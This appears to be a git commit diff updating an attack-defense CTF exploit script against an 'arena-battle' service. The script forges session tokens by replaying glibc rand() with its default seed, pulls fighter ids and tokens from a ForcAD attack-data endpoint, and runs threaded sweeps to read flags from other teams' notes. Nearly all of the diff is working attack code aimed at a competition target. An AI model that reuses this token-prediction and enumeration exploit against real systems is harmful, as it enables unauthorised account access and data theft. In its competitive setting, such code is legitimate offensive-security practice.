sploit for arena-battle 2

This commit is contained in:
2026-08-26 11:38:24 +03:00
parent 0f03699f20
commit 6810a67be9
2 changed files with 106 additions and 15 deletions
+105 -14
View File
@@ -16,24 +16,41 @@ which is where the checker stores flags.
fighters exist) fighters exist)
NOTE_GET <token> -> list note ids + titles NOTE_GET <token> -> list note ids + titles
NOTE_GET <token> <note_id> -> title + content NOTE_GET <token> <note_id> -> title + content
Fighter ids come from ForcAD attack data when it is reachable (exact, cheap);
otherwise we sweep back over the most recent ids.
Env overrides: ARENA_PORT, ARENA_LOOKBACK, ARENA_BUDGET, ATTACK_DATA_URL.
""" """
import json
import os
import random
import re import re
import socket import socket
import sys
import random
import string import string
import sys
import time
import urllib.request
from concurrent.futures import ThreadPoolExecutor from concurrent.futures import ThreadPoolExecutor
PORT = 1337 PORT = int(os.environ.get("ARENA_PORT", 1337))
FLAG_RX = re.compile(r"[A-Z0-9]{31}=") FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
# Round is 30s and a flag lives 10 rounds (5 min), so stay well inside one round.
TIME_BUDGET = float(os.environ.get("ARENA_BUDGET", 20.0))
TIMEOUT = 4.0 TIMEOUT = 4.0
LOOKBACK = 70 # how many recent fighters to raid LOOKBACK = int(os.environ.get("ARENA_LOOKBACK", 200))
INDEX_OFFSETS = (0, -1, 1, -2, 2) # rand()/id drift from concurrent REGISTERs INDEX_OFFSETS = (0, -1, 1, -2, 2) # rand()/id drift from concurrent REGISTERs
THREADS = 10 THREADS = 10
RECONNECT_AFTER = 12 # some boxes drop a connection after N bad tokens RECONNECT_AFTER = 12 # some boxes drop a connection after N bad tokens
ATTACK_DATA_URL = os.environ.get(
"ATTACK_DATA_URL", "http://10.10.10.253:80/api/client/attack_data")
SERVICE_HINTS = ("arena", "battle")
TOKEN_RX = re.compile(r"token_\d+_\d+")
# -------------------------------------------------------------------------- # --------------------------------------------------------------------------
# glibc TYPE_3 rand(), default seed 1 # glibc TYPE_3 rand(), default seed 1
@@ -91,6 +108,62 @@ def rand_name(n=8):
return "".join(random.choice(string.ascii_lowercase) for _ in range(n)) return "".join(random.choice(string.ascii_lowercase) for _ in range(n))
# --------------------------------------------------------------------------
# ForcAD attack data -> fighter ids / ready-made tokens
# --------------------------------------------------------------------------
def _harvest(obj, ids, tokens):
"""Walk an arbitrary attack-data blob picking out ids and tokens."""
if isinstance(obj, dict):
for v in obj.values():
_harvest(v, ids, tokens)
elif isinstance(obj, (list, tuple)):
for v in obj:
_harvest(v, ids, tokens)
elif isinstance(obj, bool):
pass
elif isinstance(obj, int):
if 0 < obj < 10 ** 7:
ids.add(obj)
elif isinstance(obj, str):
tokens.update(TOKEN_RX.findall(obj))
if obj.isdigit() and 0 < int(obj) < 10 ** 7:
ids.add(int(obj))
def attack_data(target_ip):
"""Returns (fighter_ids, ready_tokens) published for this target."""
ids, tokens = set(), set()
try:
with urllib.request.urlopen(ATTACK_DATA_URL, timeout=3) as r:
data = json.loads(r.read().decode("utf-8", "replace"))
except Exception as e:
print("[*] no attack data (%s)" % e, file=sys.stderr, flush=True)
return ids, tokens
# {"service": {"ip": [...]}} / {"ip": {...}} / {"team_id": {...}}
team_id = target_ip.rsplit(".", 1)[-1]
scoped = []
def scope(node):
if not isinstance(node, dict):
return
for key, val in node.items():
k = str(key)
if k == target_ip or k == team_id:
scoped.append(val)
elif any(h in k.lower() for h in SERVICE_HINTS):
scope(val) if isinstance(val, dict) else scoped.append(val)
scope(data)
for node in scoped:
_harvest(node, ids, tokens)
if scoped:
print("[*] attack data: %d ids, %d tokens" % (len(ids), len(tokens)),
file=sys.stderr, flush=True)
return ids, tokens
def probe_max_id(ip): def probe_max_id(ip):
"""Register a throwaway fighter; its id == number of fighters created.""" """Register a throwaway fighter; its id == number of fighters created."""
with Arena(ip) as a: with Arena(ip) as a:
@@ -98,16 +171,16 @@ def probe_max_id(ip):
m = re.search(r"Registered fighter (\d+)\b", resp) m = re.search(r"Registered fighter (\d+)\b", resp)
if not m: if not m:
raise RuntimeError("unexpected REGISTER reply: %r" % resp) raise RuntimeError("unexpected REGISTER reply: %r" % resp)
fid = int(m.group(1))
tok = re.search(r"TOKEN:(\S+)", resp) tok = re.search(r"TOKEN:(\S+)", resp)
return fid, (tok.group(1) if tok else None) return int(m.group(1)), (tok.group(1) if tok else None)
class Raider: class Raider:
"""Walks a list of candidate tokens over one reused connection.""" """Walks a list of candidate tokens over one reused connection."""
def __init__(self, ip): def __init__(self, ip, deadline):
self.ip = ip self.ip = ip
self.deadline = deadline
self.conn = None self.conn = None
self.since_reconnect = 0 self.since_reconnect = 0
@@ -142,6 +215,8 @@ class Raider:
self.since_reconnect = 0 # good token, keep the socket self.since_reconnect = 0 # good token, keep the socket
flags.update(FLAG_RX.findall(listing)) # flag may be the title flags.update(FLAG_RX.findall(listing)) # flag may be the title
for nid in re.findall(r"(?:^|\s)(\d+):", listing)[:40]: for nid in re.findall(r"(?:^|\s)(\d+):", listing)[:40]:
if time.monotonic() > self.deadline:
break
flags.update(FLAG_RX.findall(self._cmd("NOTE_GET %s %s" % (token, nid)))) flags.update(FLAG_RX.findall(self._cmd("NOTE_GET %s %s" % (token, nid))))
return flags return flags
@@ -149,6 +224,8 @@ class Raider:
flags = set() flags = set()
try: try:
for tok in tokens: for tok in tokens:
if time.monotonic() > self.deadline:
break
try: try:
flags.update(self.raid(tok)) flags.update(self.raid(tok))
except Exception: except Exception:
@@ -159,13 +236,16 @@ class Raider:
def exploit(target_ip): def exploit(target_ip):
deadline = time.monotonic() + TIME_BUDGET
flags = set() flags = set()
known_ids, ready_tokens = attack_data(target_ip)
max_id, my_token = probe_max_id(target_ip) max_id, my_token = probe_max_id(target_ip)
print("[*] %s: current fighter id = %d (token %s)" % (target_ip, max_id, my_token), print("[*] %s: current fighter id = %d (token %s)" % (target_ip, max_id, my_token),
file=sys.stderr, flush=True) file=sys.stderr, flush=True)
seq = glibc_rand_seq(1, max_id + 64) seq = glibc_rand_seq(1, max(max_id, max(known_ids) if known_ids else 0) + 64)
# sanity check: our own token should be seq[max_id - 1] on an unpatched box # sanity check: our own token should be seq[max_id - 1] on an unpatched box
if my_token: if my_token:
@@ -175,25 +255,36 @@ def exploit(target_ip):
"patched or rand() drifted" % (target_ip, my_token, expected), "patched or rand() drifted" % (target_ip, my_token, expected),
file=sys.stderr, flush=True) file=sys.stderr, flush=True)
# candidate tokens for the most recent fighters (they hold the live flags) # Ordered by confidence: attack-data tokens, attack-data ids, then a sweep
candidates = [] # back over the most recent fighters (a flag lives 10 rounds / 5 min).
low = max(1, max_id - LOOKBACK) candidates = list(ready_tokens)
for fid in range(max_id - 1, low - 1, -1):
def add_id(fid):
for off in INDEX_OFFSETS: for off in INDEX_OFFSETS:
idx = fid - 1 + off idx = fid - 1 + off
if 0 <= idx < len(seq): if 0 <= idx < len(seq):
candidates.append("token_%d_%d" % (fid, seq[idx])) candidates.append("token_%d_%d" % (fid, seq[idx]))
for fid in sorted(known_ids, reverse=True):
add_id(fid)
for fid in range(max_id - 1, max(1, max_id - LOOKBACK) - 1, -1):
add_id(fid)
seen = set()
candidates = [t for t in candidates if not (t in seen or seen.add(t))]
chunks = [candidates[i::THREADS] for i in range(THREADS)] chunks = [candidates[i::THREADS] for i in range(THREADS)]
def work(chunk): def work(chunk):
return Raider(target_ip).run(chunk) return Raider(target_ip, deadline).run(chunk)
with ThreadPoolExecutor(max_workers=THREADS) as pool: with ThreadPoolExecutor(max_workers=THREADS) as pool:
for got in pool.map(work, [c for c in chunks if c]): for got in pool.map(work, [c for c in chunks if c]):
flags.update(got) flags.update(got)
print("[*] %s: %d flags" % (target_ip, len(flags)), file=sys.stderr, flush=True) print("[*] %s: %d flags in %.1fs" % (target_ip, len(flags),
TIME_BUDGET - (deadline - time.monotonic())),
file=sys.stderr, flush=True)
return flags return flags
+1 -1
View File
@@ -91,7 +91,7 @@ def parse_args():
help='Maximal number of concurrent sploit instances. ' help='Maximal number of concurrent sploit instances. '
'Too little value will make time limits for sploits smaller, ' 'Too little value will make time limits for sploits smaller, '
'too big will eat all RAM on your computer') 'too big will eat all RAM on your computer')
parser.add_argument('--attack-period', metavar='N', type=float, default=55, parser.add_argument('--attack-period', metavar='N', type=float, default=30,
help='Rerun the sploit on all teams each N seconds ' help='Rerun the sploit on all teams each N seconds '
'Too little value will make time limits for sploits smaller, ' 'Too little value will make time limits for sploits smaller, '
'too big will miss flags from some rounds') 'too big will miss flags from some rounds')